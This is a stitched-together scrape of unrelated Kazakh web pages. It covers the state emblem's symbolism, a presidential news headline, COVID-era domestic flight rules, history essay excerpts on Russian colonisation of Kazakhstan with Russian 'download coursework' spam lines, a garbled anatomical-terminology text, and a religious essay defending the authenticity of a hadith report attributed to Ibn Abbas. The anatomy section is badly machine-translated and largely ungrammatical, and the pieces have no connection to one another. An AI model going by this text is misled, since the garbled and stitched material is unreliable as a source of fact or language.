Республиканың Мемлекеттік елтаңбасындағы тағы бір деталь – бес бұрышты жұлдыз. Бұл символды адамзат ежелгі заманнан бері пайдаланып келеді, ол адамдардың ақиқат сәулесіне, барлық игі аңсарларға және мәңгілік құндылықтарға деген ұдайы ұмтылысын білдіреді. Мемлекеттік елтаңбада жұлдыздың бейнеленуі қазақстандықтардың әлемнің барлық халықтарымен ынтымақтастық пен серіктестік орнатуға ниетті ел болуға деген талпынысын танытады. Қазақстан тұрғындарының жүрегі мен құшағы бес құрлықтың өкілдері үшін қашанда ашық.
Елтаңбада қолданылған негізгі түс – алтынның түсі. Бұл – байлықтың, әділдіктің және кеңпейілділіктің символы. Сонымен қатар, көгілдір аспан түстес тудың түсі алтынның түсімен үйлесім тауып, ашық аспан, бейбітшілік және бақуат тіршілік ұғымдарын танытып тұр.
Кері қайту
Заңдар
2022 жылғы 01 желтоқсан
Мемлекет басшысы «Қазақстан Республикасының Үкіметі мен Швейцария Федералдық Кеңесі арасындағы дипломатиялық өкілдіктер, халықаралық ұйымдар жанындағы тұрақты өкілдіктер және консулдық мекемелер қызметкерлерінің отбасы мүшелерінің ақылы еңбек қызметі туралы келісімді ратификациялау туралы» Қазақстан Республикасының Заңына қол қойды
Президент Қасым-Жомарт Тоқаев Екібастұздағы жөндеу жұмыстарының барысы туралы Премьер-Министрдің баяндамасын тыңдады |
Сондай-ақ, ішкі рейстерге КВИ талдауын талап ету қолжетімділігі туралы қоғамдық талқылау есепке алынып, бүгінгі таңда бұл талап алынып тасталды.
ҚР Премьер-министрінің орынбасары Ералы Тоғжанов еліміздегі төтенше режимнің жойылуына байланысты Қазақстанның кейбір қалалары арасында әуе қатынастарының қалыпқа келтірілуі мен пойыздардың жүре бастауы мүмкіндігіне қатысты түсінік берді, деп хабарлайды zakon.kz.
1 мамырдан бастап Нұр-Сұлтан, Алматы, Өскемен, Семей, Қызылорда және Петропавл қалалары арасында рейстер қалпына келтірілгені белгілі. Бүгіннен бастап Президенттің шешіміне сәйкес, еліміздің 7 қаласымен (Ақтөбе, Қарағанды, Көкшетау, Қостанай, Павлодар, Тараз, Талдықорған) әуе қатынасы қайта жанданды. Қазіргі уақытта теміржол көлігінің қатынауына рұқсат жоқ, - деді Тоғжанов.
Сондай-ақ, ішкі рейстерге КВИ талдауын талап ету қолжетімділігі туралы қоғамдық талқылау есепке алынып, бүгінгі таңда бұл талап алынып тасталды. Оның үстінде елімізде кең ауқымды скрининг жүргізіліп жатып, бүгіндері республикамызда коронавирусқа байланысты 400 мыңға жуық тестілеу жүргізілді.
Мемлекет басшысы атап өткендей, бұл жағдайдың объективті жағдайын анықтауға және қазақстандықтарды емдеу үшін қажетті шараларды қабылдауға мүмкіндік берді. Ұшу кезіндегі санитарлық бақылау бұрынғыдай сақталады: жолаушылардың температурасын өлшеу, ұшаққа отыру және түсу кезіндегі әлеуметтік қашықтықты сақтау және бетперде кию, - деп түсіндірді вице-премьер. |
4. Абылай хан мирасқорлары билік еткен кезеңдегі Орта жүз аумағындағы саяси жағдай ( XVIIІ ғ. 80 жылдары - 1821 ж.).
5. 1822 және 1824 жылғы Сібір және Орынбор қырғыздары туралы ереже. Кіші жүз бен Орта жүздегі хандық биліктің жойылуы.
6. Исатай мен Махамбет Өтемісұлы бастаған көтеріліс.
1. Патша өкіметінің Қазақстандағы әскери – отаршылдық әрекеттерінің басталуы.
Әскери бекіністер мен шептердің салынуы.
XVIIІ ғасырдың басында патшалық Россия қазақ даласында әскери бекіністерді салу арқылы өзінің әскери – отаршылдық әрекеттерін бастады. Қазақ даласы Россияны шығыс мемлекеттерімен жалғастыратын көпір іспетті еді. Қазақ даласы арқылы Европа елдерінен шығыстағы едердерге және одан кері қарай құрлықпен және сумен ең төте ежелгі сауда жолдары өтетін. Осы жолдармен Россиядан Орта Азияға, Ауғанистанға, Персияға, Қытайға, Үндістанға және басқа Шығыс елдеріне баруға болатын еді.
Орыс патшасы I Петр бұл елдермен экономикалық және саяси байланыс орнатып, оны дамыту үшін алдымен Қазақстан және Орта Азия елдерін Россияға қосып алу керек деп есептеді. Осы мақсатта қазақ жеріне бірнеше экспедиция жіберілді.
(Продолжение скрыто) Курсовые РК скачать, курсовая Казахстан скачать, контрольные РК скачать, контрольная Казахстан скачать, рефераты для РК, реферат для Казахстана
2. Кіші жүз бен Орта жүз қазақтарының Россия бодандығын қабылдау.
Экономикалық мешеулікпен, феодалдық бытыраңқылықпен қатар Қазақстанның өндіргіш күштерінің дамуын тежеген факторлардың бірі сыртқы саяси қауіп болды.
Халық үшін осы ауыр жағдайда қазақ хандықтары билеушілерінің алдында маңызды да күрделі міндет қазақ жүздерін сыртқы жаудан қауіпсіз ету және елде күшейе түскен феодалдық бытыраңқылық үрдісін жою міндеті тұрды.
Қазақ қоғамының ішкі күрделі даму жағдайларында, жоңғарлар мен Еділ қалмақтарының, башқұрттардың, Жайық және Сібір қазақтарының қоршауында шын мәнінде экономикалық оқшаулау, ұлы империяның тұрақты қысым көрсетуі жағдайында бола отырып, қазақ жүздерінің билеушілері Россия империясы сияқты одақтас іздеуге мәжбүр болды.
(Продолжение скрыто) Курсовые РК скачать, курсовая Казахстан скачать, контрольные РК скачать, контрольная Казахстан скачать, рефераты для РК, реферат для Казахстана
3. XVIII ғ. екінші жартысындағы Қазақстан. Абылай хан (1771-1781 жж.).
XVIII ғасырдың екінші жартысындағы Қазақстан.
XVIII ғасырдың ортасында Орталық Азияда маңызды өзгерістер болып өтті. Жоңғарлардың қазақтарға қарсы жауластық әрекеттері 1745 жылы Калдан-Церен қайтыс болғаннан кейін Жоңғар хандығының өз ішінде орын алған оқиғаларға байланысты әлсірей түсті. Жоңғарияның әлсіреуімен оның қазақ жерлерін жаулап алу қауіпі жойылды. 1748 жылы Әбілқайыр ханды Барақ султанның өлтіруі Россия өкіметін мазаламай қалмады. Әбілқайыр тұсында қалыптасқан саясатты жалғастыруға мүдделі Петербург сарайы Россияға бейімделушілік бағытын устаған феодалдық топтарға үміт артты. 1749 жылы Нуралы Кіші жүздің ханы болып тағайындалды. Алайда патша үкіметінің отарлау бағытындағы саясатының күшеюі жүздегі старшиндардың ханға бағынбауының әртүрлі формасында көрінген ішкі саяси жағдайы шиеленістіріп жіберді. Бұл Орал мағайын ашық отарлау жолына түскен Орынбор әкімшілігіне және Россияның саясатын қолдаған Нуралы ханға қарсы күрес еді.
(Продолжение скрыто) Курсовые РК скачать, курсовая Казахстан скачать, контрольные РК скачать, контрольная Казахстан скачать, рефераты для РК, реферат для Казахстана
5. 1822 және 1824 жылғы Сібір және Орынбор қырғыздары туралы ереже. Кіші жүз бен Орта жүздегі хандық биліктің жойылуы.
1822 жылғы «Сібір қырғыздары туралы жарғы»
1781 жылы Абылай өлгеннен кейін Орта жүзде оның үлкен баласы сұлтан Уәли хан болып жарияланды. Уәли ханның қаталдығы оның қол астындағылардың наразылығын туғызды. 1795 жылы қазақтар патшаға оны тақтан алу жөнінде өтініш жасады. 1815 жылы Орта жүзде Уәлидің позициясын әлсіретуге тырысып, үкімет екінші ханды, Бөкейді тағайындады. 1817 жылы Бөкей хан және 1819 жылы Уәли хан өлгеннен кейін Орта жүзде жаңа хандар бекітілмеді. Патша әкімшілігі хан өкіметін таратып, «Сібір қырғыздары туралы уставқа» сүйене отырып, басқарудың жаңа аппаратын құрды, бұл уставты 1822 жылы Россияның XIX ғасырда белгілі либералдық пиғылдағы қайраткер, өз дәуірінің аса білімді тұлғаларының бірі граф М.М.Сперанский жасады. Бұл жұмысқа болашақ декабрист Солтүстік қоғамның мүшесі Г.С. Батеньков белсене қатысты. Оған М.М. Сперанский жергілікті статистика үшін материалдар әзірлеу мен жинауды тапсырған еді.
(Продолжение скрыто) Курсовые РК скачать, курсовая Казахстан скачать, контрольные РК скачать, контрольная Казахстан скачать, рефераты для РК, реферат для Казахстана
6. Исатай мен Махамбет Өтемісұлы бастаған көтеріліс.
Көтерілістің себептері. XIX ғасырдың екінші жартысынан бастап Бөкей хандығында (1801 жылы 11 наурызде қүрылды) ауылдардың еңбекші халқына жасалған экономикалық қысым күшейіп, ғасырлар бойы қалыптасқан қоғамдық укладтың бірқатар маңызды жақтары күрт күйреді. Астрахань губернаторының үйінде тәрбиеленген Жәңгір хан қырға хандықтағы қоғамдық тұрмыс пен саяси құрылымді кейбір әдет-ғұрыптық институттардан бастап жер жөніндегі қатынастарға салық саясатына және хан сарайына дейінгінің бәрін қайта құрамын деген «аристократтық өркениеттік» жоспарлармен оралды. Артта қалған жартылай көшпелі қазақ қоғамы негізінде ол хан өкіметіне де патша тағының саясатына да, бірдей дәрежеде құлақ асқыш өзінше бір үлгідегі регионалдық хандық құрмақ болды. Алайда көшпелі және жартылай көшпелі ұжымдар ханның бұл «еңгізбекші жаңалықтарын» қабылдауға дайын емес еді. |
Анатомиялық номенклатурасы. Анатомиялық номенклатурасы жүйелі тізбесі анатомиялық терминдер. Ажыратады: ұлттық анатомиялық номенклатураның ұлттық тіл; халықаралық анатомиялық номенклатураны латын тілінде Nomina anatomica.
Халықаралық осы болды 1895 жылы 1X конгресінде анатомиялық қоғамның Басталады. Бекітілді, Бұл номенклатурасы белгілі аталатын Базель.
Талпыныстары редакциялау жасалды 1933 жылы Бирмингем, 1935 жылы өтті. «1У Федеративном халықаралық конгресте анатомов 1955 жылы қабылданды жаңа анатомиялық номенклатурасы — Париж анатомиялық номенклатурасы. Ол негізделген Базель, оның шамасындағы ақша қарызға алынады 4286 терминдер мен жаңа атаулардың болды 1354. Номенклатурасының шығарып эпонимы қосылды, туралы мәліметтер сегментарном құрылымы кейбір паренхиматозды органдар. Париж конгресінде ұйымдастырылған атқарушы комитеті анатомиялық терминология, ол қарайды жекелеген түрлерін толықтыру номенклатурасы және шығарады, оларды бекіту және қарастыру халықаралық конгрестер,
Кейін халықаралық конгресс анатомов Лондонда (1985 ж.) туындаған қарама-қайшылық арасында, атқарушы комитет Халықаралық Федерациясының анатомов комитеті мен номенклатурасы бойынша, және негізделген Федеративный комитеті анатомиялық терминология, ол бастады Жаңа Халықаралық анатомиялық номенклатурасын қатысуымен 60 ұлттық анатомиялық қоғамдардың кіретін Федеративный комитеті анатомиялық терминология. 1997 жылдың тамызында Сан-Пауло бекітілді, қазіргі заманғы, қарапайым, әмбебап анатомиялық номенклатурасы.
Осі мен жазықтықтың адам денесінің негізгі анатомиялық терминдер. Сипаттау кезінде сыртқы нысандарын дене пайдаланады осі мен жазықтықтың қабылданған жүйесінде тік бұрышты Координат.
Ажыратады үш осі дененің: тік, көлденең және сагиттальную. Барлық олар түйісетін бір-бірімен тікелей бұрыштары. Тік ось ең ұзын және перпендикулярна жазықтығына тіректері. Көлденең осі жүріп параллель жазықтықтағы тіреулер. Сагиттальная осі алған атауы латын сөзі «сагитта» — жебе бағытталған алдынан артқа. Көлденең және сагиттальных осьтерінің өткізуге болады кез келген саны, тік сол ось — тек қана бір. Сондықтан тік ось деп аталады негізгі осі. Осьтер сәйкес келмейді, үш жазықтық — сагиттальная, алдыңғы және көлденең.
Сагиттальная жазықтық өтеді бағытта сагиттальной осі және перпендикуляр көлденең ось. Денесі арқылы өткізуге болады кез келген саны сагиттальных беткейлерінің. Олардың бірі, ол өз арқылы өтеді тік негізгі осі деп аталады орта, немесе медианной. Ол бөледі денесі екі жартысынан симметриялы — оң және сол.
Алдыңғы жазықтық жүріп бағытта көлденең және перпендикулярна — сагиттальной осі. Кез келген фронтальды жазықтықтың бөледі денені артқы және алдыңғы бөлігі. Алдыңғы жазықтық перпендикулярна тіректе және параллельна алдыңғы бетінің дене бетінің маңдай, осыған байланысты оның атауы (латынша «фронс» — лоб).
Көлденең немесе көлденең, жазықтық өтеді бағытта көлденең осіне параллель жазықтықтағы тіреулер және перпендикулярна тік. Кез келген көлденең жазықтықтың разделит денені жоғарғы және төменгі жартысы. Тиісінше, осьтер және жазықтықта анықталады ереже дененің, ішкі органдарының орналасуы.
Адам денесі ие симметрией. Бұл, әсіресе, айқын анықталады, кезінде мысленном өткізу арқылы денені орта сагиттальной жазықтықта. Орналасқан жерде ішкі органдардың, сондай-ақ байқалады симметрия. Бар оң және сол өкпе, оң және сол жақ бүйрек. Алайда, қатысты бірқатар ішкі органдардың бұл қағида бұзылды. Белгілі, адам жүрегі орналасқан кеуде
Осі мен жазықтықтың адам денесінің АВСД — сагиттальная (орта) жазықтық; ЕРОН — фронтальді жазықтығы мен перпендикулярная сагиттальной; КLМN көлденең (көлденең) жазықтық, перпендикулярная екі алдыңғы; а—а — сагиттальная осі; қр—қазақстан — алдыңғы ось; с— — тік ось торда көп сол жақтан қарағанда оң жағында, асқазан және көкбауыр — непарные органдары орналасады, тек сол.
Ереже дене бөліктеріне қатысты негізгі осьтер мен жазықтықтарға белгіленеді арнайы терминдер.
Олардың негізгілері мынадай: медиальный — орналасқан жақын орта осіне, ішкі; латеральный — орналасқан әрі қарай орта ось, бүйір, сыртқы; краниальный — орналасқан бағытына қарай бас терісі, бас сүйегі; каудальный — орналасқан кері бағытта, құйрық; дорзальный — орналасқан артқы, жұлыны жағында; вентральный — орналасқан алдыңғы-, іш жағында. Қолданылатын конечностям пайдаланады терминдер: проксимальный — лежащий жақын туловищу және иықтың—орналасқан оқу от дененің. Мысалы, жіліншік қатысты стопе проксимально орналасқан, ал қатысты бедру— дистально.
2. Жоғарғы бүйір беті жарты шар, бас боразда және извилины. Оқшаулау функцияларды байланысты жүйке сигналдық жүйемен
Сызбасы. Боразда мен извилины верхнелатеральных бетін полушарий ми.
1. Латеральная сала, sulcus lateralis (сильвиева сала). 2. Покрышечная бөлігі, pars opercularis, маңдай тысы, operculum frontale. 3. Үшбұрышты бөлігі, pars triangularis. 4. Глазничная бөлігі, pars orbitalis. 5. Төменгі маңдай извилина, gyrus frontalis inferior. 6.Төменгі маңдай сала, suicus frontalis inferior. 7. Жоғарғы маңдай сала, suicus frontalis superior. 8. Орта маңдай извилина, gyrus frontalis medius. 9. Жоғарғы маңдай извилина, gyrus frontalis superior. 10. Төменгі предцентральная сала, sulcus precentralis inferior. 11. Предцентральная извилина, gyrus precentralis (anterior). 12. Жоғарғы предцентральная сала, sulcus precentralis superior. 13.Орталық сала, sulcus centralis (роландова сала). 14.Постцентральная извилина, gyrus postcentralis (gyrus centralis posterior). 15. Внутритеменная сала, sulcus intraparietalis. 16.Жоғарғы теменная долька, lobulus parietalis superior. 17. Төменгі теменная долька, lobulus parietalis inferior. 18. Надкраевая извилина, gyrus supramarginalis. 19. Угловая извилина, gyrus angularis. 20. Затылочный полюс, polus occipitalis. 21. Төменгі самай сала, suicus temporalis inferior. 22. Жоғарғы самай извилина, gyrus temporalis superior. 23. Орта самай извилина, gyrus temporalis medius. 24. Төменгі самай извилина, gyrus temporalis inferior. 25. Жоғарғы самай сала, suicus temporalis superior.
Ми сыңарлары, hemispherium cerebralis, сыртынан ұстайды жұқа қабаты сұр заттар — кору больших полушарий. Оның үш беті полушарий: (1) верхнелатеральная, ең дөңес, facies superlateralis (hemispherii), (2) медиальная, facies medialis (hemispherii), жазық айналдырылған — соседнему полушарию және (3) төменгі, facies inferior (hemispherii), бар күрделі жер бедері, тиісті ішкі негіз сүйегінің. Бұл бетінің шекаралас бір-бірімен шеттері: жоғарғы, margo superior, нижнелатеральным, margo inferior, және нижнемедиальным, margo medialis.
Учаскелері полушарий, ең шығыңқы алдынан және артынан, деп атайды полюсами: маңдай полюс, polus frontalis, затылочный полюс, polus ocdpitalis және височный полюс, polus temporalis. Жер бедері бетін полушарий өте күрделі болуымен байланысты немесе одан кем терең бороздаларды ми орналасқан және олардың арасындағы дөңес возвышений — извилин ми. Ретінде және кез келген тірі құрылымы, құрылым нерв жүйесі болып табылады вероятностными құрылымдар. Осыдан, мөлшері мен координаттары (тереңдігі, ұзындығы, нысаны мен бағыт) бороздаларды және извилин — ықтималдық айнымалылар. |
Ибн ‘Аббастың «Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар кәпірлер» деген аятқа жасаған тәпсіріндегі «Күпірліктен кіші күпірлік»
Ибн ‘Аббастың «Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар кәпірлер» деген аятқа жасаған тәпсіріндегі «Күпірліктен кіші күпірлік»
жүктеу/скачать 227.78 Kb.
Дата 09.06.2016
өлшемі 227.78 Kb.
#123740
Бұл бет үшін навигация:
«Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар - кәпірлер»
Ибн ‘Аббастың сөздерінің әлсіздігіне қатысты айтылған дау-дамайларға жауап
«Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар – кәпірлер»
«Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар - кәпірлер» ; «Және кім Алла һ түсірген заң бойынша билік етпесе, міне солар залымдар»; «Кім Алла һт
Ибн ‘Аббастың хабарына сүйенген және оны дәлел ретінде келтірген әйгілі имамдардың сөздері
Қз.: “Тайсируль-Карими-р-Рахман” 296.
Сондай-ақ шейх әл-Әлбани былай деп айтатын: “Саляфтардан бұл аяттың тәпсірінде: «куфр дуна куфр», - деп жетті. Әрі бұл Ибн
«Менің үмметімде екі нәрсе күпірлік болып табылады: шыққан тегін балағаттау және өлген адамды дауыстап жоқтау!»
Қз.: “әс-Сильсилә әс-сахиха” 7/135.
www.Salaf-forum.ru
Аса Мейірімді, ерекше Рахымды Аллаһтың атымен!
Ибн ‘Аббастың «Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар - кәпірлер» деген аятқа жасаған тәпсіріндегі «Күпірліктен кіші күпірлік» деген сөздерінің сенімділігі (сахихтығы) туралы
Әлемдердің Раббысы – Аллаһқа мадақ, Пайғамбарымыз Мухаммадқа, оның отбасы мүшелеріне және барлық сахабаларына Аллаһтың сәлемі мен игілігі болсын!
Содан соң:
Үлкен өкінішке орай, кейбір мұсылмандардың өз түсінуіне немесе өздерінің тұжырымы бойынша өте күшті дәйек болып табылатын нәрселерге сүйеніп салмақты мәселелерді талқылап жатқанын жиі кездестіруге болады. Мұндай мәселелердің қатарында осы күндерде кең таралған Ибн ‘Аббастың «Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар - кәпірлер» (әл-Маида 5: 44) деген аятқа қатысты: «Бұл күпірліктен кіші күпірлік (Куфр дуна куфр)», - деп айтқан хабарының сенімділігін теріске шығару да бар.
Ең таң қаларлығы – Ибн ‘Аббастың бұл хабарының әлсіздігі туралы тек кейбір қазіргі замандастарымыздың айтқаны, әрі мұны оларға дейін ертедегі имамдардың ешқайсысы істемегені.
Осыған дәйектер ретінде бұл замандастар келесілерді келтіреді:
«Ибн ‘Аббастың бұл хабарын әл-Маруази “Тазым қадри-ссаләда” 2/521, әл-Хаким “әл-Мустадракта” 2/313, сондай-ақ Ибн ‘Абдуль-Барр “әт-Тамхидте”, Хишама ибн Хужайрдың иснады арқылы Тауустың Ибн ‘Аббастан жеткен сөздерінен келтіреді.
Осы Хишам әлсіз жеткізуші болып табылады, бұл туралы Ахмад, Яхья ибн Ма’ин, әл-‘Уқайли сынды имамдар т.б. айтқанындай. Қз.: «әд-Ду’афа” 4/337-338, “әл-Камиль” 7/2569.
Бірде ‘Али ибн Мадини Яхъя ибн Са’идке: “Ибн Журайж Хишам ибн Хужайрдан баяндады”, - деп оқыды. Ал Яхъя ибн Са’ид: “Тастаңдар оны”, - деді. Ибн Мадини: “Оның хабарларын тастайық па?!”, - деп сұрады. Яхъя: “Иә”, - деп жауап берді. Қз.: “Тахзиб әл-Камәл” 30/180.
‘Абдуллаһ ибн Ахмад: “Хишам ибн Хужайр Макки – хадистерде әлсіз”, - деген. Қз.: “Тахзиб әл- Камәл” 30/179.
Ибн ‘Аббастан жеткен бұл хабар сондай-ақ басқа иснад арқылы да жеткізіледі, бірақ “Куфр дуна куфр” деген сөздерсіз, “Бұда күпірлік жеткілікті” сөздерімен.
Бұл хабарды ‘Абдур-Раззақ тәпсірінде 1/191, сондай-ақ әт-Табари 6/256 және басқалар келтіреді, әрі оның иснады сенімді (сахих).
Әрә сондықтан да Хишамның хабары екі себепті әлсіз:
1. Хишамның жеткізуші ретінде әлсіздігі.
2. Бұл жеткізушінің одан күштірек болған Ибн Аббастың тәпсірін «Куфр дуна куфр» сөздерінсіз жеткізетін жеткізушілерге қайшы келуі».
Ибн ‘Аббастың «Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар - кәпірлер» (әл-Маида 5: 44) деген аятқа қатысты: «Бұл күпірліктен кіші күпірлік (Куфр дуна куфр)», - деп айтқан хабарының әлсіздігін «негіздеу (дәлелдеу)» міне осы-ақ.
Бұл адамдар Ибн ‘Аббастың: «Куфр дуна куфр», - деп айтқан хабарын дәл осылайша әлсіз етіп көрсеткен, тіпті бұдан қалса оған ол Аллаһтың түсіргеніне сәйкес үкім етпеуді үлкен күпірлік деп санағанын теліген.
Ал іс жүзінде Ибн ‘Аббастың осы дерегінің әлсіздігіне қатысты түсіндірмені дәлме-дәл Сулейман әл-‘Ульуан, Хамуд ибн ‘Ақлә әш-Шу’айби және Абу Мухаммад әл-Мақдиси келтірген болатын.
Олардың қайсысы осыны алғаш болып жазғанын, ал қайсысы мұны тек алып оны әрі қарай мұқият зерттеместен таратқанын Аллаһ жақсырақ біледі.
Сондай-ақ осы жерде Хассан ибн ‘Абдуль-Маннан деген біреудің шағын жолдау жасағанын, әрі онда ол жоғарыда аталып кеткен нәрселерді дәйек ретінде келтіріп Ибн ‘Аббастың осы хабарының әлсіздігі туралы тұжырымдағанын атап кету қажет.
Ал осы Ибн ‘Абдуль-Маннанға қатысты айтар болсақ, ол хадистердің сенімділігіне немесе әлсіздігіне қатысты пайғамбарлық Сүннетпен ойнайтын адам ретінде танылған. Ол ертедегі имамдар бірауызды келісімде болған және әһлю-Суннаның сенімдері негізделетін көптеген сахих хадистерді әлсіз деп атаған. Мысалы, ол мына белгілі хадисті әлсіз деп атаған: «Ақиқатында, сендерден кім ұзақ өмір сүрсе, сол көп тартыстарды көреді. Ендеше менің Сүннетім мен тура жолдағы салиқалы халифалардың Сүннетін ұстаныңдар. Осыдан азу тістеріңмен ұстаныңдар және діндегі жаңалықтардан (бидғаттардан) толық аулақ болыңдар, өйткені діндегі әрбір жаңалық - адасушылық!» Абу Дауд 4607, әт-Тирмизи 2676, Ибн Мажжаһ 42.
Ал осы хадистің сенімділігін әт-Тирмизи, әл-Баззар, әл-Хаким, Ибн ‘Абдуль-Барр, әд-Дыя әл-Мақдиси, ән-Науауи, Ибн Касир және басқа да көптеген имамдар растаған.
Бұл адамның еңбектері мен оның хадистану ғылымындағы оғаш мәлімдемелері таралған соң, шейх әл-Әлбани көп рет оны теріске шығарды және тіпті хадистердің сенімділігін анықтаудағы оның адасушылықтарына арналған және оны «Имамдардың кітаптарын зерттеуде жүздеген сенімді хадистерді әлсіз деп атаған Ибн ‘Абдуль-Маннанның зертеулерінен сақтандыру және насихат айту» деп атаған тұтас кітап жазды.
Ал бұл автордың жай-күйі мұсылмандарға белгілі болғаннан кейін, ол Абу Сухайб әл-Карми деген жасырын атпен жазатын болды.
Сөйтіп, бізге айқын болғанындай, Ибн ‘Аббастың хабары туралы теріс пікір білдіргендердің барлығы хадистану ғылымындағы өздерінің ұлы зерттеулерімен танылмағандығы аз болса, бұл ғылымдағы атақты имамдарға қарсы шықты!
Осы замандастардың аталған сөздерін таратушыларға мынандай сұрақ туындайды: «Хадистану ғылымы саласындағы білімдері ешкімде күмән туғызбаған атақты имамдарға жүгіну ғаламтор кеңістігінен тауып алған өздеріңнің құмарлықтарыңа сәйкес келетін нәрселерге жүгініп, осыларды соңына дейін біліп алмай мұсылман бұқарасына шығарудан жақсырақ па?!»
Ибн Мас’уд: “Жамандықта көшбасшы болғаннан игілікте ілесуші болған артық”, - деп айтатын. Ибн Абу Шайба 37188, Ибн Уадах 1/78. Иснады сенімді.
Ал имам Малик: “Адам өзінен білгірлеу біреуден сұрамайынша, өзін қандай да бір нәрседе лайықты деп санамауы керек!” Қз.: “Сыфатуль-муфти” 7.
Ибн ‘Аббастың сөздерінің әлсіздігіне қатысты айтылған дау-дамайларға жауап
Іс жүзінде барлық ертедегі имамдар да, кейбір замандастардан басқа, кейінгілері де Ибн ‘Аббастың «Бұл күпірліктен кіші күпірлік (куфр дуна куфр)» деген хабарын мойындаған және оған сүйенген.
Ал әлдебіреулер солардың негізінде осы хабарды сенімсіз деп тапқан екі себепке келер болсақ, іс жүзінде бұл болуын қалаған нәрсені бар деп көрсетуден өзге ешнәрсе емес!
Бұл хабардың әлсіз екендігіне дәлел ретінде пайдаланылған бірінші себеп – бұл «куфр дуна куфр» деген хабардың жеткізушісі Хишам ибн Хужайрдың әлсіздігі.
Аллаһтың рұқсатымен, өздерін бір Американы ашқандай санап, белгілі бір адамдардың және оларға соқыр түрде ілескендердің зерттеулерімен ғана қанағаттанбастан, Ибн ‘Аббастың бұл хабарын жан-жақтылау етіп қарастырамыз.
Шындығында да Яхья әл-Қаттан және әл-‘Уқайли сынды имамдар Хишамды әлсіз жеткізуші деп санағандығынан бастаймыз. Ал Суфьян ибн ‘Уяйна: “Біз Хишамның хадистеріне басқалардан растау таппасақ, оларды алмаймыз», - деп айтқан. Қз.: “Тахзиб әт-тахзиб” 11/33.
Бірақ Ибн Ма’инға келер болсақ, ода Хишамға қатысты екі пікір бар. Бір рет ол оны әлсіз деп айтқан, ал екінші рет ол оны салиқалы (ізгі) деген.
Алайда бұл хабардың әлсіздігін жақтайтындар Ибн Ма’инның «ізгі-салиқалы» деген сөздерін хадистер жеткізуде емес, дінде деп тұжырымдаған.
Ал іс жүзінде олардың бұл тұжырымдары - жорамал ғана.
Имам Ахмадтың ол туралы пікіріне қатысты жағдай да тура осындай, өйткені Ахмад Хишамды оған сүйенуге болмайтын мүлде әлсіз және қабыл етілмейтін жеткізуші деп санамаған. Ол Хишам туралы: «Хадистері әлсіз Меккелік, - сондай-ақ: - Ол күшті емес жеткізушісі», - деп айтқан.
Алайда мұндай сөздер арқылы имам Ахмад мұндай жеткізушінің хадистері қабыл етілмейді дегенді әркез меңземеген. Жиі жағдайда ол мұндай жеткізушінің хадистері сенімді (сахих) емес, бірақ жақсы (хасан) екендігін меңзеген, мұны шейхуль-ислам Ибн Таймийя былай деп түсіндіргеніндей: “Ахмадтан оның: «Пәлен әлсіз, күшті емес жеткізуші», - деп айтқаны жеткізіледі. Алайда бұл сөздер Ахмад мұндай жеткізушінің хадистерін сенімді (сахих) деп есептемегенін, десе де ол мұндай адамның хадистерін жақсы (хасан) деп санағанын меңзейді. Сондықтан да ол мұндай хадистерді әлсіз деп атағанымен, оларды дәлел ретінде пайдаланатын болған, өйткені іс жүзінде бұл хадистер жақсы (хасан) болған”. Қз.: “әл-Фатауа әл-кубра” 3/243.
Ал имам әз-Захаби былай деген: “Адамдар туралы жиі жағдайда «Күшті жеткізуші емес» деп айтылатын, алайда оларға сүйенетін”. Қз.: “әл-Муқаддима әл-Мауқиза” 319.
Әрі сөз болып тұрған нәрселерді имам Ахмадтың өзі де «Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар - кәпірлер» (әл-Маида 5: 44) аятына тәпсір жасағанда Ибн ‘Аббастың осы хабарына сүйенгендігін растайды. Оған: “Аятта қандай күпірлік туралы айтылып тұр?”, - деп сұрақ қойылғанда, ол: “Діннен шығармайтын күпірлік туралы, бұл Ибн ‘Аббастан жеткендей”, - деп жауап берді. Қз.: “Суаләт Ибн Хани” 2/192, “Масаиль Абу Дауд” 114 және “әс-Салә уа хукму тариқиха” 49.
Мұның үстіне, көпшілік имамдар Хишам ибн Хужайрды сенімді жеткізуші деп есептеген. Хафиз Ибн Хажжар Ибн Са’дтың Хишам туралы: “Ол сенімді жеткізуші болған”, - деп айтқан сөздерін жеткізген.
Имам әс-Сажжи ол туралы: “Ол шыншыл жеткізуші”, - деп айтқан.
А имам әл-‘Ижжли ол туралы: “Сүннеттің лайықты жақтаушысы (ілесушісі)”, - деген. Қз.: “Тахзиб әт-тахзиб” 11/33-34.
Ибн Шубрума Хишам туралы: “Меккеде ол сияқтылар жоқ», - деген.
Сондай-ақ Хишамды сенімді жеткізуші деп санағандардың қатарында имам Ибн Хиббан да болған, сондай-ақ имам Ибн Шахин де өзінің «әс-Сиқат» (344) кітабында оны сенімді деп атаған.
Бірақ Ибн ‘Аббастың осы хабарының сенімділігін қалай болса да жоққа шығаруға ұмтылатын замандастар: «Хишамды сенімді деп санаған имамдар негізінен жеткізушілер туралы ғылымда жұмсақтық жасайтындардан болған», - деп айтады.
Бұл мәлімдеме де бірнеше себептер бойынша шындыққа сай келмейді:
Біріншіден, аталғандардың қатарындағы жеткізушілердің сенімділігін бекітуде босаңдық жасайтындықтары туралы дәл Ибн Хиббан мен әл-‘Ижжлиді айыптайтын. Ал олардың босаңдық жасауы олар белгісіз жеткізушілерді сенімді деп санайтындықтарымен байланысты еді. Бірақ осы қаралып жатқан жағдайда сөз белгісіз жеткізу туралы болып тұрған жоқ.
Екіншіден, аталған имамдардың жеткізушілердің сенімділігіне қатысты пікірлері өз еңбектерінде жеткізушілер туралы имамдардың даулы сөздерін қорытындылаған әз-Захаби мен Ибн Хажжар сынды едәуір кейінгі имамдардың пікірлеріне сәйкес келген жағдайда, олар қабылданып отырғандығы хадистану ғылымымен таныс әрбір адамға белгілі. Мысалы, имам әз-Захаби Ахмадтың Хишам туралы: «Күшті баяндаушы емес», - деген сөздерін келтіргеніне қарамастан, ол туралы: «Ол сенімді жеткізуші!», - деген. Қз.: “әл-Кашиф” 2/335.
